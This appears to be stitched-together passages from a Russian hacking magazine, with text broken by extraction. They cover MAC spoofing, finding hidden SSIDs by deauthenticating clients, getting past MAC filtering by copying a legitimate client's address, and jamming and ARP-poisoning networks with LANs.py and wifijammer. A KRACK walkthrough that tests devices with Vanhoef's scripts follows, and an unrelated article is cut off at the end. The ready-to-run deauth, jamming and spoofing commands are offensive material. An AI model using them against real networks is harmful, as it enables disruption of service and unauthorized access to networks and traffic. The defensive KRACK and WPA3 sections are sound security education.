. По умол чанию  ,  то есть во вре мя ска ниро вания будет

уста нав ливать ся  про изволь ный  MAC‐адрес.  Если  выб рать  ,  то  это го
про исхо дить не будет;

• ска ниро вание wifi.scan­rand­

mac­address yes

no

  —  зада ется  свой ством 
, по умол чанию его зна чение рав но  .

• под клю чен  к  сети wifi.cloned­mac­

address preserve

Для  про вод ного  интерфей са  (свой ство  )
и бес про вод ного интерфей са в сос тоянии под клю чения  (

) дос тупны сле дующие вари анты:

ethernet.cloned‐mac‐address
wifi.cloned‐mac‐

address
 — то есть мож но задать свой пос тоян ный MAC;• яв но ука зан ный MAC

 —  исполь зовать  вши тый  в  устрой ство MAC‐адрес  (по  умол‐ 
чанию);

• permanent

 — не менять MAC устрой ства пос ле акти вации (нап ример, если
MAC был изме нен дру гой прог раммой,  то будет исполь зовать ся  текущий
адрес);

• preserve

 — генери ровать слу чай ную величи ну для каж дого под клю чения.• random

NetworkManager нас тра ивает ся через файл 
.  Как  вари ант, можешь добавить допол нитель ный файл с рас‐ 

ширени ем  .conf  в  дирек торию    (называть ся
кон фиг  при  этом  может  как  угод но).  Я  рекомен дую  имен но  вто рой  спо соб,
пос коль ку  при  обновле нии NetworkManager  обыч но  заменя ет  глав ный  .conf,
и если ты вно сил в него изме нения, то они про падут.

/etc/NetworkManager/Network‐
Manager.conf

/etc/NetworkManager/conf.d

Вклю чаем авто мати чес кую генера цию ран домных MAC-адре сов
Ес ли  ты  хочешь,  что бы  при  каж дом  под клю чении  под менял ся  MAC‐адрес,
но при соеди нении с одной и той же сетью исполь зовал ся оди нако вый MAC,
то надо добавить пару строк в кон фиг. Вот они:

[connection]
ethernet.cloned‐mac‐address=stable
wifi.cloned‐mac‐address=stable

Свой ства   и   мож‐ 
но задавать по отдель нос ти или вмес те.

ethernet.cloned‐mac‐address wifi.cloned‐mac‐address

Про верить  зна чения  ты  можешь,  наб рав  ,  а  что бы  изме нения  всту‐ 
пили в силу, нуж но переза пус тить NetworkManager:

ip  a

$ sudo systemctl restart NetworkManager

Те перь под клю чай ся к бес про вод ной сети и сно ва про веряй зна чения MAC.
Для одних и тех же сетей будут генери ровать ся оди нако вые адре са. Если

же ты хочешь, что бы адре са всег да были раз ными, нас трой ки будут такими:

[connection]
ethernet.cloned‐mac‐address=random
wifi.cloned‐mac‐address=random

Ус танав лива ем опре делен ный MAC
Пред положим,  нам  нуж но  исполь зовать  какой‐то  опре делен ный  MAC.
Для это го сно ва будем пра вить  ./etc/NetworkManager/conf.d/mac.conf

Что бы задать MAC для про вод ного интерфей са, добав ляй такие стро ки:

[connection]
ethernet.cloned‐mac‐address=<новый MAC>

Что бы задать MAC для бес про вод ного соеди нения — вот такие:

[connection]
wifi.cloned‐mac‐address=<новый MAC>

Вмес то  ,  естес твен но,  сле дует  написать  нуж ный  MAC‐адрес.
И конеч но, мож но задать нас трой ки для про вод ного и бес про вод ного соеди‐ 
нения одновре мен но.

<новый  MAC>

Об рати вни мание, что при исполь зовании это го метода MAC будет изме‐ 
нять ся толь ко пос ле того, как ты под клю чишь ся к сети. До это го у интерфей‐ 
сов будут  их  исходные адре са. Исклю чени ем может быть Wi‐Fi,  если  ты  уже
нас тро ил спу финг, как показа но выше. Для отме ны спу фин га добав ляй в кон‐ 
фиг такие стро ки:

[device]
wifi.scan‐rand‐mac‐address=no

И переза пус кай служ бу, что бы изме нения всту пили в силу.

ДРУГИЕ СПОСОБЫ ПРОГРАММНО ПОМЕНЯТЬ MAC
Ме нять  MAC  уме ет  не  толь ко  NetworkManager.  На  самом  деле  сущес тву ет
мно го спо собов сде лать это при помощи как сто рон них прог рамм, так и сис‐ 
темных  служб.  Что бы  мы  мог ли  отсле живать  резуль таты,  изме ни  нас трой ки
NetworkManager:

[device]
wifi.scan‐rand‐mac‐address=no

Те перь  он  не  будет  спу фить  MAC  во  вре мя  ска ниро вания  бес про вод ных
сетей.

Пос коль ку в нас трой ках NetworkManager не заданы парамет ры 
  и  ,  будет  исполь зовать ся

зна чение  по  умол чанию  ( ),  даже  если  MAC  был  изме нен  дру гими
прог рамма ми.

ethernet.
cloned‐mac‐address wifi.cloned‐mac‐address

preserve

При меры  даль ше  я  буду  выпол нять  в  Kali  Linux  и  менять  нас трой ки
для  адап тера Wi‐Fi.  Осо бен ность  всех  этих  спо собов  в  том,  что  изме нения
будут  терять ся  пос ле  перезаг рузки  сис темы  либо  пос ле  перепод клю чения
адап тера.

Из менение MAC с помощью iproute2
Мы  будем  исполь зовать  прог рамму  ip,  которая  вклю чена  в  пакет  iproute2.
Нач нем с про вер ки текуще го MAC:

$ ip link show

На  выходе  пос ле  слов    ты  уви дишь  MAC‐адрес.  Пер вым  делом
вык люча ем соот ветс тву ющий интерфейс. У меня это wlan0.

link/ether

$ sudo ip link set dev wlan0 down

Да лее мы  перехо дим  непос редс твен но  к  спу фин гу MAC.  Ты можешь  задать
любое зна чение, но пом ни, что сеть может быть нас тро ена так, что бы адре са
не выдава лись, если MAC не соот ветс тву ет устрой ству какого‐то извес тно го
про изво дите ля.  Поэто му  в  качес тве  пер вых  трех  бай тов  луч ше  взять  извес‐ 
тный пре фикс и изме нять толь ко вто рые три бай та.

Для изме нения MAC выпол няем коман ду

$ sudo ip link set dev <интерфейс> address <MAC>

Зна чения под ставь свои.
Пос ледним шагом мы воз вра щаем интерфейс в сос тояние up:

$ sudo ip link set dev <интерфейс> up

Ну и для про вер ки изме нений можешь написать

$ ip link show <интерфейс>

Зна чение   дол жно быть таким, как ты уста нав ливал.link/ether

Из менение MAC с помощью macchanger
Еще  один  вари ант  —  исполь зовать  прог рамму  macchanger.  Тут  есть  воз‐ 
можность и соз дать MAC как у обо рудо вания какого‐то опре делен ного про‐ 
изво дите ля, и пол ностью ран домизи ровать. В Kali эта ути лита сто ит по умол‐ 
чанию.

В момент сме ны MAC,  как и при дру гих  спо собах,  устрой ство не дол жно
исполь зовать ся, поэто му вык лючай его:

$ sudo ip link set dev <интерфейс> down

Даль ше  в  качес тве  интерфей са  у  меня  будет  wlan0,  меняй  его  на  свой
при необ ходимос ти.

Что бы узнать зна чения MAC, мож но запус тить ути литу с опци ей  :‐s

$ sudo macchanger ‐s wlan0

В резуль тате она выдаст текущий MAC и тот, что про шит в устрой стве (на слу‐ 
чай, если они не сов пада ют), а так же ука жет вен дора. Нап ример:

 

 

Current MAC: 00:c0:ca:96:cf:cb (ALFA, INC.) 
Permanent MAC: 00:c0:ca:96:cf:cb (ALFA, INC.)

Что бы поменять MAC на совер шенно про изволь ный адрес, есть опция  :‐r

$ sudo macchanger ‐r wlan0

На выходе к двум стро кам выше добавит ся новый адрес.
Что бы ран домизи ровать MAC, не меняя пер вые три бай та  (пре фикс про‐ 

изво дите ля), есть опция  :‐e

$ sudo macchanger ‐e wlan0

Ну и если ты хочешь сам задать новый MAC, исполь зуй  :‐m

$ sudo macchanger ‐m <MAC> wlan0

Вмес то   под ставь нуж ный адрес.<MAC>
И наконец, что бы вер нуть исходный MAC, есть опция  :‐p

$ sudo macchanger ‐p wlan0

ОБНАРУЖЕНИЕ СКРЫТОГО SSID
Не кото рые  вла дель цы  хот спо тов  нас тра ивают  их  так,  что бы  те  не  тран сли‐ 
рова ли свое наз вание (ESSID). Дела ется это обыч но в качес тве допол нитель‐ 
ной меры безопас ности. Поль зовате ли не будут  видеть  такую сеть в спис ке
дос тупных, а для под клю чения тре бует ся наб рать наз вание вруч ную.

Это сла бень кая защит ная мера, потому что в опре делен ные момен ты ES‐
SID все же тран сли рует ся в откры том виде.

По луча ем скры тый SSID при помощи Airodump-ng
Пой мать  ESSID  в  эфи ре мож но  во  вре мя  под клю чения  кли ента,  а  для  это го
нуж но  либо  подож дать,  пока  это  про изой дет  естес твен ным  обра зом,  либо
фор сировать  про цесс,  отклю чив  всех  от  точ ки  дос тупа.  Это  называ ется
деаутен тифика цией. Потеряв шие связь кли енты нач нут на авто мате под клю‐ 
чать ся заново, и имя сети прос кочит в откры том виде.

Пер вым делом запус каем airodump:

$ airodump‐ng <интерфейс>

Ког да  он  запалит  новую  сеть,  ты  уви дишь ВSSID,  дли ну  наз вания  и  исполь‐ 
зуемый  канал. Нап ример,  если  сеть  работа ет  на  пер вом  канале,  ука зыва ем
его:

$ airodump‐ng wlan0 ‐‐channel 1

Точ но  так  же,  как  при  перех вате  рукопо жатия,  мож но  задать  ключ    и  за
ним  —  пре фикс  име ни  фай ла.  Зах ват  рукопо жатия  не  меша ет  выяв лению
скры той  точ ки. Даль ше мож но  либо  прос то  подож дать,  пока  кто‐то  под клю‐ 
чит ся, либо деаутен тифици ровать всех кли ентов:

‐w

$ aireplay‐ng ‐0 3 ‐a <BSSID> wlan0

Здесь    озна чает  мас совую  деаутен тифика цию,  3  —  количес тво  отправ‐ 
ленных пакетов.

‐0

Ре зуль тат пос тупит прак тичес ки мгно вен но, и ты уви дишь стро ку с пол ным
наз вани ем скры той точ ки дос тупа.

ОБХОД MAC-ФИЛЬТРАЦИИ ПУТЕМ ЗАИМСТВОВАНИЯ АДРЕСА ИЗ
БЕЛОГО СПИСКА
В решении этой задачи нам сно ва поможет Airodump‐ng. Перево дим адап тер
в режим монито рин га и выпол няем такие коман ды:

$ ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig 
wlan0 up
$ airodump‐ng wlan0

Ты уви дишь спи сок сетей, количес тво под клю чен ных кли ентов и их MAC‐адре‐ 
са, которые мож но прис воить сво ему адап теру, если в сети нас тро ена филь‐ 
тра ция по белым спис кам.

Бы вает и так, что сра зу кли ентов у опре делен ных точек дос тупа не вид но,
пос коль ку  прог рамма  соб рала  недос таточ но  све дений.  В  этом  слу чае  тебе
опять же поможет деаутен тифика ция. Если у хот спо та есть хоть один кли ент,
ты  это  сра зу  уви дишь  пос ле  перепод клю чения.  А  заод но  мож но  и  перех‐ 
ватывать хен дшей ки.

Для  деаутен тифика ции  оста нав лива ем  Airodump‐ng  и  запус каем  сно ва,
толь ко уже с ука зани ем канала инте ресу ющей нас точ ки.

$ airodump‐ng wlan0 ‐‐channel 1

Пос ле это го шлем deauth‐пакеты и смот рим, что получит ся:

$ aireplay‐ng ‐0 5 ‐a <MAC> wlan0

Пос ле  выпол нения  ата ки  будут  рас кры ты  некото рые  из  ранее  неиз вес тных
кли ентов.  Копируй  MAC  кого‐то  из  легитим ных  поль зовате лей,  записы вай
в нас трой ки сво ей сетевой кар ты — и можешь про водить задуман ную ата ку.

ГЛУШЕНИЕ СЕТИ WI-FI
При пен тесте быва ет нуж но заг лушить какую‐то из точек дос тупа. Для это го я
рекомен дую исполь зовать  ути литу  . Она  уме ет не  толь ко  глу шить Wi‐Fi,
но  и  дру гие  вещи:  шпи онит  за  поль зовате лями,  инди виду аль но  тра вит  таб‐ 
лицы ARP целевой машины, роуте ра и при необ ходимос ти — сер вера DNS.

LANs

Ра диус  дей ствия  глу шения  силь но  зависит  от  мощ ности  адап тера,  но  у
скрип та есть нас трой ки, которые поз воля ют глу шить всех под ряд или толь ко
одно го кли ента. Здесь все прос то: кача ем и ста вим зависи мос ти и ска чива ем
сам скрипт.

$ sudo apt install ‐y python‐nfqueue python‐scapy python‐twisted 
nbtscan
$ git clone https://github.com/DanMcInerney/LANs.py.git
$ cd LANs.py/

Те перь мож но запус кать наш скрипт, что бы начать глу шение.

$ python lans.py ‐u ‐p

Клю чи    и    озна чают  активное  обна руже ние  цели  для  ARP‐спу фин га
и  вывода  всех  инте рес ных  незашиф рован ных  дан ных,  которые  они  отправ‐ 
ляют или зап рашива ют. Опции   здесь нет, поэто му будет выпол нено ARP‐
ска ниро вание  сети  и  его  резуль таты  будут  срав нивать ся  с  резуль татами
живого  «нераз борчи вого»  зах вата. В  резуль тате  получит ся  спи сок  всех  кли‐ 
ентов сети.

‐u ‐p

‐ip

На жимай Ctrl + C для оста нов ки поис ка, ког да пос тро ишь кар ту сети и пос‐ 
мотришь  спис ки  под клю чен ных  кли ентов.  Для  тех  же  целей,  кста ти,  мож но
успешно исполь зовать Nmap.

То чеч ный вари ант глу шения будет выг лядеть так:

$ python lans.py ‐‐jam ‐‐accesspoint <MAC роутера> ‐s <MAC для 
пропуска>

Здесь:
 —  глу шить  все  или  некото рые  бес про вод ные  точ ки  2,4  ГГц  и  кли‐ 

ентов в пре делах досяга емос ти; если необ ходимо, то вмес те с этим мож‐ 
но исполь зовать допол нитель ные аргу мен ты (ниже);

• --jam

 — так мож но задать MAC, который не будет деав торизо ван;• -s 

  —  тут  мож но  ввес ти  MAC  кон крет ной  точ ки  дос тупа,
которая будет выс тупать в качес тве цели.

• --accesspoint 

Глу шение всех сетей Wi‐Fi будет выг лядеть так:

$ python lans.py ‐‐jam

Глу шение толь ко одной точ ки дос тупа:

$ python lans.py ‐‐jam ‐‐accesspoint <BSSID>

Здесь тоже мож но задать некото рые допол нитель ные опции:
 — огра ничить глу шение одним каналом;• -ch

  —  не  отправ лять  пакеты  деаутен тифика ции  на  широко‐ 
веща тель ные адре са точек дос тупа, а толь ко парам из кли ента и хот спо та;

• --directedonly

 — так мож но ука зать кон крет ную точ ку дос тупа в качес тве
цели.

• --accesspoint 

ЕЩЕ ЭФФЕКТИВНЫЙ СКРИПТ ДЛЯ ГЛУШЕНИЯ WI-FI
Для глу шения Wi‐Fi быва ет удоб но исполь зовать ути литу  . Она край‐ 
не  прос та  в  исполь зовании,  так  что  обсуждать  здесь  поч ти  нечего:
без  парамет ров  она  прос то  будет  заг лушать  все,  что  най дет  в  ради усе
досяга емос ти адап тера. Что бы не задеть сво их, мож но исклю чить некото рые
MAC‐адре са с опци ей  .

wifijammer

‐s
Ус танав лива ем wifijammer:

$ git clone https://github.com/DanMcInerney/wifijammer.git
$ cd wifijammer/
$ sudo python2 wifijammer.py ‐‐help

И запус каем:

$ sudo python2 wifijammer.py ‐s <MAC для исключения>

На этом все! Наде юсь, ты нашел что‐то новое и инте рес ное сре ди показан‐ 
ных мной фишек и тебе это при годит ся в работе.

https://pkg.kali.org/pkg/network-manager
https://github.com/DanMcInerney/LANs.py
https://github.com/DanMcInerney/wifijammer
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Осенью 2017 года мир узнал о новой угро‐ 
зе  безопас ности  сетей  Wi‐Fi.  Она  зат‐ 
рагива ет абсо лют но все устрой ства и прог‐ 
рам мные  плат формы.  Каким  бы  слож ным
и длин ным ни был пароль, это не поможет,
потому  что  KRACK  —  уяз вимость  самого
про токо ла  обме на  клю чами  шиф рования
WPA2.  В  этой  статье  мы  раз берем ся
в  теории  бага  и  поп робу ем  испы тать  его
на прак тике.

Исто рия уяз вимос ти
16 октября 2017  года была рас кры та информа ция о  кри тичес ких проб лемах
WPA2,  которые поз воля ют обой ти  защиту  и  в  резуль тате  прос лушивать  тра‐ 
фик Wi‐Fi, переда ваемый меж ду точ кой дос тупа и компь юте ром.

Ком плекс уяз вимос тей в WPA2, получив ший наз вание KRACK (аббре виату‐ 
ра от Key Reinstallation Attacks), был обна ружен свод ной груп пой иссле дова‐ 
телей из раз ных уни вер ситетов и ком паний.

Ру ково дитель  груп пы  Мэти  Ван хоф  рас ска зал,  что  ему  уда лось  най ти
проб лемы,  из  которых  фор миру ется  KRACK,  еще  в  2016  году,  но  он  более
года совер шенс тво вал свою ата ку. Иссле дова тель сооб щил об  уяз вимос тях
некото рым  про изво дите лям  и  пред ста вите лям  орга низа ции  US‐CERT
в  июле  2017  года,  а  в  августе  поделил ся  информа цией  о  проб лемах
с широким кру гом вен доров.

Про изво дите ли  обо рудо вания  пос пешили  выпус тить  пат чи  про шив ки,
которые устра няют уяз вимос ти, но,  как всег да быва ет в  таких слу чаях, оста‐ 
ется огромное чис ло необ новлен ных устрой ств.

ПРИНЦИП ДЕЙСТВИЯ
В осно ве ата ки лежит уяз вимость четыре хэле мен тно го хен дшей ка WPA2. Этот
хен дшейк выпол няет ся тог да, ког да кли ент хочет под клю чить ся к защищен ной
сети Wi‐Fi. В про цес се под твержда ется, что обе сто роны (кли ент и точ ка дос‐ 
тупа)  обла дают  кор рек тны ми  учет ными  дан ными.  В  то  же  вре мя  хен дшейк
исполь зует ся  для  сог ласова ния  све жего  клю ча шиф рования,  который  впос‐ 
ледс твии будет при менять ся для защиты тра фика.

Зло умыш ленник может устро ить ата ку типа man  in  the middle и при нудить
учас тни ков  сети  реин стал лировать  клю чи  шиф рования,  которые  защища ют
тра фик WPA2.  К  тому  же,  если  сеть  нас тро ена  на  исполь зование WPA‐TKIP
или  GCMP,  зло умыш ленник  смо жет  не  толь ко  прос лушивать  тра фик  WPA2,
но и инжектить пакеты в дан ные жер твы.

Экс плу ати руя эту кри тичес кую ошиб ку, мож но добить ся рас шифров ки тра‐ 
фика, сде лать HTTP‐инжекты, перех ватить TCP‐соеди нения и мно гое дру гое.

От KRACK может защитить исполь зование HTTPS, одна ко далеко не всег‐ 
да. Дело в том, что сам HTTPS нель зя наз вать абсо лют но безопас ным (к при‐ 
меру, сущес тву ют методи ки даун грей да соеди нения), хотя он и ста нет допол‐ 
нитель ным сло ем шиф рования.

Ме тод  уни вер сален  и  работа ет  про тив  любых  незапат ченных  устрой ств,
под клю чен ных  к Wi‐Fi.  Глав ное  усло вие  зак люча ется  в  том,  что  ата кующе му
при дет ся  находить ся  в  зоне  дей ствия  ата куемой  сети  Wi‐Fi,  то  есть  ата ку
нель зя про вес ти уда лен но.

Мэ ти Ван хоф демонс три рует уяз вимость

Уяз вимос ти, вошед шие в сос тав KRACK
:  reinstallation of  the pairwise encryption  key  (PTK‐TK)  in  the

4‐way handshake.
• CVE‐2017‐13077

: reinstallation of the group key (GTK) in the 4‐way handshake.• CVE‐2017‐13078
:  reinstallation  of  the  integrity  group  key  (IGTK)  in  the  4‐way

handshake.
• CVE‐2017‐13079

:  reinstallation  of  the  group  key  (GTK)  in  the  group  key
handshake.

• CVE‐2017‐13080

: reinstallation of the integrity group key (IGTK) in the group key
handshake.

• CVE‐2017‐13081

: accepting a retransmitted Fast BSS Transition (FT) Reassoci‐
ation Request and reinstalling the pairwise encryption key (PTK‐TK) while pro‐
cessing it.

• CVE‐2017‐13082

: reinstallation of the STK key in the PeerKey handshake.• CVE‐2017‐13084
:  reinstallation  of  the  Tunneled  Direct‐Link  Setup  (TDLS)

PeerKey (TPK) key in the TDLS handshake.
• CVE‐2017‐13086

: reinstallation of the group key (GTK) when processing a Wire‐
less Network Management (WNM) Sleep Mode Response frame.

• CVE‐2017‐13087

: reinstallation of the integrity group key (IGTK) when process‐
ing a Wireless Network Management (WNM) Sleep Mode Response frame.

• CVE‐2017‐13088

ЭКСПЛУАТАЦИЯ
Для  демонс тра ции  уяз вимос ти  нам  понадо бит ся  обо рудо вание  —
как  минимум  один,  а  луч ше  нес коль ко  USB  Wi‐Fi‐адап теров,  сов мести мых
с Kali  Linux. Мой  выбор  пал  на  TP‐Link N150 Wireless High Gain USB Adapter
(TL‐WN722N),  он  уже  про тес тирован  и  хорошо  сов местим  с  моим  дис три‐ 
бути вом. Но ты можешь исполь зовать и любой дру гой на свой вкус.

За чем  нам  вооб ще  этот  «свис ток»,  если  у  ноут бука  есть  адап тер  Wi‐Fi?
Отдель ное  устрой ство  для  вар драй вин га  рекомен дует ся  не  толь ко  потому,
что  на  него  мень ше  наводок  и  у  него  более  силь ная  антенна,  но  еще  и  из
сооб ражений  удобс тва. Со  встро енно го  адап тера Wi‐Fi мож но  парал лель но
выходить в интернет, а это доволь но важ ная воз можность.

В общем, с TP‐Link мы и под нимем свою фей ковую (или, если угод но, тес‐ 
товую) сеть и будем про вора чивать в ней наш экспе римент.

Под нимем Wi-Fi на Kali Linux
Итак, заг ружа ем Kali и идем в тас кбар (пра вый вер хний угол рабоче го сто ла),
под нима ем  Wi‐Fi‐адап тер  (то  есть  вклю чаем  его)  и  кон нектим ся  к  заранее
заготов ленной сети.

Ключ  шиф рования  у  нас  WPA2‐Personal,  и  сра зу  догово рим ся  исполь‐ 
зовать длин ный и надеж ный пароль. Сеть, к которой мы будем под клю чать ся,
у меня называ ется SKG2.

Кон нектим ся к сети с име нем SKG2

Свой ства бес про вод ной сети SKG2

Ин стал лиру ем инс тру мен тарий Krack Attack
Сна чала нам нуж но убе дить ся, что все необ ходимые зависи мос ти для инс тру‐ 
мен тария Krack Attack у нас в сис теме есть. Выпол ним такую коман ду:

$ sudo apt‐get install libnl‐3‐dev libnl‐genl‐3‐dev pkg‐config 
libssl‐dev net‐tools git sysfsutils python‐scapy python‐pycryptodome

Ин стал ляция пакетов для Krack Attack

Пос коль ку  в  самом  Kali  Linux  по  умол чанию  нет  инс тру мен тов  для  вос про‐ 
изве дения  нуж ной  нам  ата ки,  мы  идем  на  GitHub  и 

.
ска чива ем  там  набор

скрип тов

$ git clone https://github.com/vanhoefm/krackattacks‐scripts.git

Ин стал ляция инс тру мен тария Krack Attack

Даль ше  нам  для  чис тоты  экспе римен та  нуж но 
 (hardware encryption). То есть шиф ровать клю чи будем толь ко

прог рам мны ми  средс тва ми,  вши тыми  в  про токо лы Wi‐Fi.  Для  это го  перехо‐ 
дим в дирек торию с Krack Attack:

от клю чить  аппа рат ное

шиф рование

$ cd krackattacks‐script

И там запус каем кон фигура цион ный скрипт:

$ sudo ./krackattack/disable‐hwcrypto.sh.root

За пус каем кон фигура цион ный скрипт, что бы отклю чить аппа рат ное шиф ‐
рование

Даль ше нам нуж но отклю чить Wi‐Fi в сетевом менед жере Kali, то есть отклю‐ 
чить ся от сети SKG2. Это поз волит начать собс твен ную тран сля цию в новой
сет ке WLAN0, где мы и про ведем ата ку.

Сле дующим  шагом  соз даем  тес товую  сеть  Wi‐Fi  с  помощью  TP‐Link  N150.
Одна ко для начала нам нуж но убе дить ся, что наше железо не заб локиро вано.
А выяс ним мы это с помощью ути литы  , наб рав сле дующую коман ду:rfkill

$ sudo rfkill unblock wifi

Пос ле того как соз дана тес товая сеть, мы исполь зуем сце нарий 
. Этот скрипт на Python будет про верять все  устрой ства, под клю‐ 

чающиеся  к  нашей  сети Wi‐Fi,  на  уяз вимость  «ата ки  пере уста нов ки  клю чей»
(имен но так офи циаль но называ ется этот метод).

krack‐test‐
client.py

Итак,  соз даем  сет ку.  Ском пилиру ем  наш  модифи циро ван ный  экзем пляр
.  Если  ты  не  в  кур се,   — это  демон  (служ ба)  бес про вод ной

точ ки дос тупа в Linux.
hostapd hostapd

$ cd ../hostapd
$ cp defconfig .config
$ make ‐j 2

От клю чим  аппа рат ное  шиф рование  для  нашей  фей ковой  сети  сле дующей
коман дой (запус каем все тот же кон фигура цион ный скрипт):

$ cd ../krackattack/
$ sudo ./disable‐hwcrypto.sh

Во обще‐то  пос ле  того,  как  скрипт  отра бота ет,  нуж но  перезаг рузить ся  (так
совету ют раз работ чики инс тру мен та). Но у меня все работа ло и без ребута.
Но если что‐то пой дет не так, перезаг ружай тач ку.

Пос ле перезаг рузки (или без) выпол няем коман ду

$ sudo ./krack‐test‐client.py

Это  тот  самый  скрипт  на  Python,  который  поз волит  пере уста новить  клю чи
в четырех сто рон нем рукопо жатии и авто мати чес ки соз даст сеть. Исполь зует‐ 
ся метод шиф рования WPA2‐Personal, а SSID будет  .testnetwork

Ре зуль тат работы скрип та — тес товая сеть соз дана!

Ата ка
Те перь  берем  ноут  с Windows  10  и  цеп ляем ся  на  нем  к  сети  .
Вво дим наш очень слож ный и длин ный пароль и удос товеря емся, что кон нект
про изо шел.

testnetwork

Пос ле того как ноут с Windows 10 ока зал ся в тес товой сети, в тер минале Kali
мы получа ем опо веще ния от скрип та  , который пыта‐ 
ется  прос каниро вать  под клю чен ный  кли ент  (наш  ноут бук)  на  уяз вимость  и,
если най дет ее, про экс плу ати ровать.

krack‐test‐client.py

Но  резуль тат  пока  грус тный.  У Windows  10,  конеч но  же,  есть  патч,  о  чем
гла сит  строч ка  Client  DOESN’T  seem  vulnerable  to  pairwise  key  reinstallation
in the 4‐way handshake.

Скрипт сооб щает, что наш кли ент неуяз вим перед KRACK

Поп робу ем еще нес коль ко вари антов, задава емых клю чами к скрип ту.

$ sudo ./krack‐test‐client.py ‐‐group
$ sudo ./krack‐test‐client.py ‐‐tptk
$ sudo ./krack‐test‐client.py ‐‐tptk‐rand

Но конеч но же, ничего не сра баты вает. Неуже ли мы зря столь ко ста рались?
Не  зря!  Я  без  тру да  нашел  у  себя  уяз вимое  устрой ство —  им  ока зал ся

телефон с Android 7.0, который пос ледний раз обновлял ся в июле 2018 года.
Такие навер няка еще мож но встре тить.

Ин форма ция о пакетах обновле ния для смар тфо на на Android 7

Кон нектим смар тфон к   и смот рим, что нам ска жет наш скрипт.
Нес коль ко  секунд  ожи дания,  и  он  сооб щает,  что  Android  уяз вим  для  груп‐ 
повой пере уста нов ки клю чей в четырех сто рон нем рукопо жатии.

testnetwork

Android 7 ока зал ся уяз вим

Мы  дос тигли  резуль тата!  Даль ше  мож но  откры вать,  к  при меру,  Wireshark
и сни фить пакеты. В целом экспе римент показал, что KRACK — это пока что
впол не реаль ная проб лема и ата ка работа ет.

КАК ЗАЩИТИТЬСЯ?
По луча ется,  что  поч ти  каж дое  устрой ство  поч ти  в  любой  сети  Wi‐Fi  мож но
взло мать  при  помощи  KRACK.  Зву чит  страш новато,  но  —  как  и  в  слу чае
с  любой  дру гой  ата кой  —  это  еще  не  конец  све та.  Вот  пара  советов,
как защитить ся от KRACK:

во‐пер вых,  всег да  про веряй,  что бы  в  адресной  стро ке  бра узе ра  была
зеленая икон ка  зам ка.  Если исполь зует ся HTTPS,  зна чит,  KRACK не  поз‐ 
волит рас шифро вать тра фик;

•

во‐вто рых, обя затель но ставь пос ледние обновле ния безопас ности.•

И  конеч но,  для  кри тич ных  сес сий  ты  можешь  не  доверять  бес про вод ному
соеди нению вооб ще. Или исполь зуй VPN: с ним у тебя будет сквоз ное шиф‐ 
рование меж ду кли ентом и сер вером.

Поможет ли WPA3 от KRACK?
27  июня  2018  года  аль янс  Wi‐Fi  объ явил  об  окон чании  раз работ ки  нового
стан дарта  безопас ности  —  WPA3.  Это  одновре мен но  и  новый  про токол
безопас ности, и наз вание соот ветс тву ющей прог раммы сер тифика ции.

Соз датели  WPA3  попыта лись  устра нить  кон цепту аль ные  недора бот ки,
которые всплы ли с появ лени ем KRACK. Пос коль ку клю чевая уяз вимость скры‐ 
валась  в  четырех сто рон нем рукопо жатии,  в WPA3 добави лась  обя затель ная
под дер жка  более  надеж ного  метода  соеди нения —  SEA,  так же  извес тно го
как Dragonfly.

Тех нология  SEA  (Simultaneous  Authentication  of  Equals)  уже  при меня лась
в mesh‐сетях и опи сана в стан дарте IEEE 802.11s. Она осно вана на про токо ле
обме на клю чами Диф фи — Хел лма на с исполь зовани ем конеч ных цик личес‐ 
ких групп.

SEA  отно сит ся  к  про токо лам  типа  PAKE  и  пре дос тавля ет  инте рак тивный
метод, в соот ветс твии с которым две и более сто роны уста нав лива ют крип‐ 
тогра фичес кие клю чи, осно ван ные на зна нии пароля одной или нес коль кими
сто рона ми.  Резуль тиру ющий  ключ  сес сии,  который  получа ет  каж дая  из  сто‐ 
рон  для  аутен тифика ции  соеди нения,  выбира ется  на  осно ве  информа ции
из пароля, клю чей и MAC‐адре сов обе их сто рон. Если ключ одной из сто рон
ока жет ся ском про мети рован, это не пов лечет ком про мета ции клю ча сес сии.
И даже узнав пароль, ата кующий не смо жет рас шифро вать пакеты.

Еще  одним  нов шес твом WPA3  будет  под дер жка  PMF  (Protected Manage‐
ment  Frames)  для  кон тро ля  целос тнос ти  тра фика.  Но  в  будущем  под дер жка
PMF ста нет обя затель ной и для WPA2.

Од нако  то,  что  WPA3  обратно  сов местим  с  WPA2,  уже  выз вало  кри тику
Мэти Ван хофа, авто ра ата ки KRACK. Он уве рен, что най дет ся спо соб обхо да
PMF для при нуди тель ного отсо еди нения кли ента от сети.

Внед рение SEA хоть и усложнит про веде ние сло вар ных атак, но не исклю‐ 
чит их и лишь сде лает более дли тель ными, а для обхо да защиты в откры тых
сетях  ата кующий  по‐преж нему  смо жет  раз вернуть  свою  точ ку  дос тупа
и перех ватывать тра фик.

К тому же WPA3 дол жен быть реали зован в устрой стве аппа рат но, и прос‐ 
тым обновле нием его под дер жку добавить нель зя. Соот ветс твен но, на внед‐ 
рение уйдут дол гие годы, а иссле дова тели ИБ не сидят сло жа руки.

https://www.youtube.com/watch?v=Oh4WURZoR98
https://nvd.nist.gov/vuln/detail/CVE-2017-13077
https://nvd.nist.gov/vuln/detail/CVE-2017-13078
https://nvd.nist.gov/vuln/detail/CVE-2017-13079
https://nvd.nist.gov/vuln/detail/CVE-2017-13080
https://nvd.nist.gov/vuln/detail/CVE-2017-13081
https://nvd.nist.gov/vuln/detail/CVE-2017-13082
https://nvd.nist.gov/vuln/detail/CVE-2017-13084
https://nvd.nist.gov/vuln/detail/CVE-2017-13086
https://nvd.nist.gov/vuln/detail/CVE-2017-13087
https://nvd.nist.gov/vuln/detail/CVE-2017-13088
https://github.com/vanhoefm/krackattacks-scripts/
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ВЗЛОМ

Мо жет  показать ся,  что  жуч ки  из  шпи онских  филь мов  —
это  что‐то  несов ремен ное.  Зачем  слож ности,  если  мик‐ 
рофоны и камеры и так пов сюду — в ноут буках, смар тфо нах
и  про чих  девай сах?  Одна ко  получить  дос туп  к  ним  может
быть  слож нее,  чем  дос туп  к  физичес кому  прос транс тву,
в котором они находят ся. Тут‐то на сце ну и выходит арсе нал
мини атюр ных,  труд нозамет ных  и  впол не  сов ремен ных
устрой ств.  Давай  раз берем ся,  сто ит  ли  их  боять ся,  и  если
да, то какие меры безопас ности мож но пред при нять.

ТРЕЗВОМЫСЛИЕ И БДИТЕЛЬНОСТЬ
За думав шись, не сле дит ли кто за тобой, очень лег ко впасть в паранойю. Мы
семимиль ными шагами дви жем ся в сто рону «проз рачно го» общес тва, так что
